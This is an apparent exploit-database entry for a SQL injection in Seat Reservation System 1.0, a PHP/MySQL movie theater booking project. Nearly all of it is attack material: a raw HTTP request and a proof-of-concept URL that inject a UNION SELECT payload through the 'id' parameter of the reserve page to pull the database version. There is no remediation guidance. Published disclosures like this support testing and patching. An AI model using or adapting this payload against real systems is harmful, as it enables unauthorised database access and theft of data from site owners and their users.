Seat Reservation System 1.0 SQL Injection

`# Exploit Title: Seat Reservation System 1.0 - 'id' SQL Injection  
# Date: 2020-09-20  
# Exploit Author: Augkim  
# Vendor Homepage: https://www.sourcecodester.com/php/14452/seat-reservation-system-movie-theater-project-using-phpmysql.html  
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/seat-reservation-system-using-php_0.zip  
# Tested on: Apache2  
  
  
POST  
/URL/index.php?page=reserve&id=''union%20select%201,version(),3,4,5,6,7,8--  
HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0)  
Gecko/20100101 Firefox/80.0  
Accept:  
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Referer: http://localhost/sere/  
Connection: close  
Cookie: PHPSESSID=lmuj4akmh6q1flmcbnuisgttom  
Upgrade-Insecure-Requests: 1  
Cache-Control: max-age=0  
Origin: foo.example.org  
  
  
PoC:  
/URL/index.php?page=reserve&id=''union%20select%201,version(),3,4,5,6,7,8--  
`